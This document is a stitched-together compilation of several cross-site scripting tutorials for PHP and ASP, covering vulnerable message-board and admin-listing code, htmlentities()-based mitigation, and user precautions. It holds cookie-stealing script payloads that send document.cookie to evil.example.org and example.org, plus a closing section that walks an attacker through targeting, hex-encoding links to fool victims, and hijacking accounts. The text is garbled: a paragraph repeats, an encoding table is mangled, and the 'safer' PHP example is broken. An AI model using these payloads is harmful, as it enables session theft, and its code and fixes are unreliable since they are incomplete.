Another: Javascript
Another: Javascript
Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or
Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to
gather data. The use of XSS might compromise private information, manipulate or steal cookies, create
requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems.
The data is usually formatted as a hyperlink containing malicious content and which is distributed over
any possible means on the internet.
Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually
these are present in Login forms, Forgot Password forms, etc
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
This message board appends <br /> to whatever the user enters, appends this to a file, then displays the
current contents of the file.
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie
</script>
The next user who visits this message board with JavaScript enabled is redirected to evil.example.org,
and any cookies associated with the current site are included in the query string of the URL.
Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to
suggest better (more malicious?) examples.
What can you do? XSS is actually very easy to defend against. Where things get difficult is when you
want to allow some HTML or client-side scripts to be provided by external sources (such as other users)
and ultimately displayed, but even these situations aren't terribly difficult to handle. The following best
practices can mitigate the risk of XSS:
As mentioned earlier, data filtering is the most important practice you can adopt. By validating all
external data as it enters and exits your application, you will mitigate a majority of XSS concerns.
Let PHP help with your filtering logic. Functions like htmlentities(), strip_tags(), and
utf8_decode() can be useful. Try to avoid reproducing something that a PHP function already
does. Not only is the PHP function much faster, but it is also more tested and less likely to contain
errors that yield vulnerabilities.
Assume data is invalid until it can be proven valid. This involves verifying the length and also
ensuring that only valid characters are allowed. For example, if the user is supplying a last name,
you might begin by only allowing alphabetic characters and spaces. Err on the side of caution.
While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by
adding two more characters to the whitelist. It is better to deny valid data than to accept malicious
data.
As mentioned earlier, a naming convention can help developers easily distinguish between filtered
and unfiltered data. It is important to make things as easy and clear for developers as possible. A
lack of clarity yields confusion, and this breeds vulnerabilities.
A much safer version of the simple message board mentioned earlier is as follows:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
readfile('./messages.txt');
?>
With the simple addition of htmlentities(), the message board is now much safer. It should not be
considered completely secure, but this is probably the easiest step you can take to provide an adequate
level of protection. Of course, it is highly recommended that you follow all of the best practices that have
been discussed.
Another
The fundamental error that yields XSS vulnerabilities is a blind trust of remote data (input). A general
recommendation among web developers is to never trust user input, but protecting against XSS requires
more, because any input can be dangerous. Examples of include posts on a forum, email displayed in a
browser, an advertisement, stock quotes provided in a feed, and form data. The risk is not just that you
trust the input, but that you assume it is safe to display to your users. You are trusted by your users, and
XSS attacks exploit that trust.
To understand why displaying such data can be dangerous, consider a simple registration form where users
provide a preferred username along with their email address, and their registration information is emailed
to them once their account is created. The following form might be used to solicit this information:
Figure 1:
If the data sent by this form is not properly filtered, malicious users can send malicious data to
register.php, and the only limit to what they can do is the limit of their creativity.
<?php
$mysql = array();
$mysql['username'] = mysql_real_escape_string($_POST['username']);
$mysql['email'] = mysql_real_escape_string($_POST['email']);
$sql = "INSERT
INTO users (username, email)
VALUES ('{$mysql['username']}', '{$mysql['email']}')";
?>
Hopefully the use of $_POST is conspicuous. Although $_POST['username'] and $_POST['email'] are
escaped properly for MySQL, this example still demonstrates a blind trust of this data. With legitimate
users, the dangers of this approach will remain hidden, and this is exactly how many web application
vulnerabilities are born. Consider the following username:
<script>alert('XSS');</script>
Although it is easy to determine that this is not a valid username, the previous example demonstrates how
the code that you write might not be so wise. Without input filtering, anything can end up in the database.
Of course, the danger in the case of XSS is when this data is displayed to users.
Assume that this particular registration system has an administrative interface that is only accessible from
the local network by authorized users. It is easy to assume that an application inaccessible from the
outside is safe, and less effort might be invested in the security of such an application. Now, consider the
code in Listing 1 that displays a list of registered users to authorized administrators.
Listing 1:
<table>
<tr>
<th>Username</th>
<th>Email</th>
</tr>
<?php
if ($_SESSION['admin']) {
$sql = 'SELECT username, email
FROM users';
$result = mysql_query($sql);
?>
</table>
If the data in the database is tainted, an administrator might be subjected to XSS by using this application.
This risk is illustrated in Figure 2.
Figure 2:
This risk is
even clearer if you consider a more malicious payload such as the following:
<script>
new Image().src =
'http://example.org/steal.php?cookies=' +
encodeURI(document.cookie);
</script>
If this is displayed to an administrator, the administrator's cookies will be sent to example.org. In this
example, steal.php can access the cookies with $_GET['cookies']. Once captured, these cookies can
be used to hijack the administrator's session.
ANOTHER
Cross-site scripting also known as XSS or CSS occurs when dynamically generated web pages display
input that is not properly validated. This allows an attacker to embed malicious JavaScript code into the
generated page and execute the script on the machine of any user that views that site. Cross-site scripting
could potentially impact any site that allows users to enter data.
An attacker who uses cross-site scripting successfully might compromise confidential information,
manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute
malicious code on the end-user systems.
Hackers are concentrating their efforts on web sites: 75% of cyber attacks are launched on shopping carts,
forms, login pages, dynamic content etc. Firewalls, SSL and locked-down servers are futile against web
application hacking!
This is bad because a malicious user could access another's important data, such as their cookies.
I bet you've seen ASP code like this before:
Hello,
<%
Response.Write(Request.Querystring("name"))
%>
Encoding user input
prevent XSS attacks.
From To
< <
This code will write out to the browser whatever is in the name field in the > >
querystring, for example:
( (
www.example.com/req.asp?name=Blake ) )
So, that seems fine and secure, but what if an attacker can convince a user to # #
click on this link, for example on a Web page, a newsgroup or an e-mail & &
message? That doesn't seem like a big deal, until you realize that an attacker
could have the unsuspecting user click on this link:
The issue is the name parameter. It is not a name, but rather script, which could be used to access user's
cookie through the document.cookie object. As you know, cookies are tied to a domain; for example, a
cookie in the example.com domain can only be accessed by Web pages in the same domain. For example,
a Web page in the RippleCreations.com domain cannot access a cookie in the example.com domain. Now
think for a moment...when the user clicks the link above, in what domain does the script code execute? It
executes in the example.com domain, so it can access the cookie data in the example.com domain. The
problem is that it only takes one page in a domain to have this kind of flaw to render all data tied to that
domain insecure.
Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a
user. The data is usually gathered in the form of a hyperlink which contains malicious content within it.
The user will most likely click on this link from another website, instant message, or simply just reading a
web board or email message. Many popular guestbook and forum programs allow users to submit posts
with html and javascript embedded in them. If for example I was logged in as "john" and read a message
by "joe" that contained malicious javascript in it, then it may be possible for "joe" to hijack my session
just by reading his bulletin board post.
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to
fool a user (Read below for further details) in order to gather data from them. Everything from account
hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible.
Step 1: Targeting
After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If
any part of the website uses cookies, then it is possible to steal them from its users.
Step 2: Testing
Since XSS holes are different in how they are exploited, some testing will need to be done in order to
make the output believable.
Hand out your crafted url or use email or other related software to help launch it. Make sure that if you
provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The
code is obviously suspicious looking but a bunch of hex characters may fool a few people.
Hand out your crafted url or use email or other related software to help launch it. Make sure that if you
provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The
code is obviously suspicious looking but a bunch of hex characters may fool a few people.
Once you have gotten the user to execute the XSS hole, the data is collected and sent to your CGI script.
Now that you have the cookie you can use a tool like Websleuth to see if account hijacking is possible.
The easiest way to protect yourself as a user is to only follow links from the main website you wish to
view. If you visit one website and it links to CNN for example, instead of clicking on it visit CNN's main
site and use its search engine to find the content. This will probably eliminate ninety percent of the
problem. Sometimes XSS can be executed automatically when you open an email, email attachment, read
a guestbook, or bulletin board post. If you plan on opening an email, or reading a post on a public board
from a person you don't know BE CAREFUL. One of the best ways to protect yourself is to turn off
Javascript in your browser settings. In IE turn your security settings to high. This can prevent cookie theft,
and in general is a safer thing to do.